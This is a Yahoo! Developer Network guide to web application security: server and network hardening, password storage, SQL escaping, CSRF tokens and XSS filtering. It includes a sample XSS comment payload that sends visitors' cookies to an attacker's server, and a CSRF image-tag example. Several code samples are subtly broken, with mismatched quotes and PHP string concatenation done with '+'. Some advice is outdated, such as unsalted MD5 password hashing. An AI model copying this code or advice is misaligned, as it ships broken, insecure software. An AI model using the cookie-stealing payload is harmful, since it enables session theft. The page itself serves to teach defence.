Security Best Practices - Yahoo! Developer Network

Yahoo! treats the security of our users' personal data very seriously, and we hope that our developers will do the same. Here are some guidelines to help you protect your users' trust in your application.

Protect Your Servers

The first step in protecting user data is to ensure that your systems are kept current with security patches. If you do not operate your own dedicated servers, then please ask your hosting provider if they keep their systems up-to-date.

  • Ensure you have installed the latest operating system security patches.
  • Keep your web server software up-to-date
  • Limit access from the Internet to your servers. Use firewall software to block access to any port but the following:
    • 80 (HTTP)
    • 443 (HTTPS - only if your application uses it)
    • 22 (SSH)
  • Use SSH/SCP to remotely log in to and copy files to your servers. Telnet and FTP transmit passwords in clear text, making it easier for someone to find out what your password is.
  • Choose a password that is difficult to guess. Hackers routinely use "dictionary attacks" to guess passwords for web servers. Choose a password that mixes upper and lower case letters, numbers, and symbols ("$#@%^&*").

Protect Your Network

Be sure that the services that are exposed to the Internet are only the ones your users need to access.

  • Place servers that your users do not directly interact with (e.g., a back-end database server) in a private network that is inaccessible from the Internet. If that is not possible, then use firewall software to block access from any computer other than your web server.

Protect Your Application

Most of the cases of user data making its way into the wrong hands stems from application bugs or security holes. Here are some basic guidelines for building safe internet applications:

  • Never store passwords in clear text. Instead, use a hashing algorithm such as MD5 or SHA-256 to create a signature of the user's password for storage. To authenticate the user, simply apply the same algorithm to the password received from your login page and compare with what you have stored.
  • If you use cookies to identify your users, do not simply store the username in the cookie and rely on that alone to authenticate the request. This is too easy for a hacker to guess or forge. Instead, generate a unique signature for the user based on the login and password and store that in the cookie.
  • Carefully check any parameters you pass to SQL statements in your application. Untreated user input can easily be hijacked to clear out your database. PHP has a function called mysql_real_escape_string() that will prevent most attacks of this type.
  • Purge unused/unnecessary user data from your system regularly. This limits the damage that could be done if an attacker gains control of your system.

Protect Against Request Forgeries

Ensure that requests coming in to your application originated from your application.

Let's say you have an application that manages a user's photos. If your application provides a function to delete a user's photos (e.g., ""), an attacker could embed the same URL into his web page, such as <img src="">. If one of your users visited the attacker's page, your user's photos would be wiped out.

Here are some ways of ensuring that requests to your application have come from your application:

First, consider whether you can rely on an HTTP POST request rather than a GET. The W3C recommends using POST if the action will cause a change in the resource or data on the server side.

Append a user-specific signature to the end of URLs to your application.

$delete_signature = md5($username . "xyz123_delete_photos");

<!-- signed link -->

<a href="/delete_photos.php?signature=<?php echo $delete_signature; ?>'>Delete Photos</a>

Before taking any action on behalf of the user, check that the "signature" argument is correct by performing the same hashing operation.

$delete_signature = md5($username . "xyz123_delete_photos");

if ($_GET['signature'] === $delete_signature) {
// proceed with delete operation
// ...
} else {
// this is a problem
// ...

If your development framework supports a user session container (e.g., PHP), then generate a unique signature with a timestamp and store it in the session with each request, and embed it in your forms/URLs so that it is passed back to the server with subsequent requests. Only take action on behalf of the user if the signatures match, and a certain amount of time has not passed.

$_SESSION['signature'] = md5(uniqid(rand(), true) + $username);
$_SESSION['signature_timestamp'] = time();

<!-- signed link -->
<a href="/delete_photos.php?signature=<?php echo $_SESSION['signature']; ?>'>Delete Photos</a>

<!-- signed form -->
<form method="POST' action="/edit_photos.php'>
<input type="hidden' name="signature' value="<?php echo $_SESSION['signature']; ?>'/>

<input type="text' name="search' />
<input type="submit' />

Protect Against Cross-Site-Scripting

In cases where you accept input from one user and display it back to another user, you need to ensure the first user cannot steal information from the second user.

For example, if you have a guestbook application where users may enter comments for others to view, an attacker could leave a comment like the following:

Hello Everyone!<script>document.write("<img src="" + 
document.cookie + "'>);</script>

This example will send a user's cookies for your site to the server waiting at To protect against this kind of attack, check all user input against strictly defined rules about what characters are allowed. Use whitelists ("only allow these characters") to filter user input. In most cases, the < and > characters do not need to be accepted.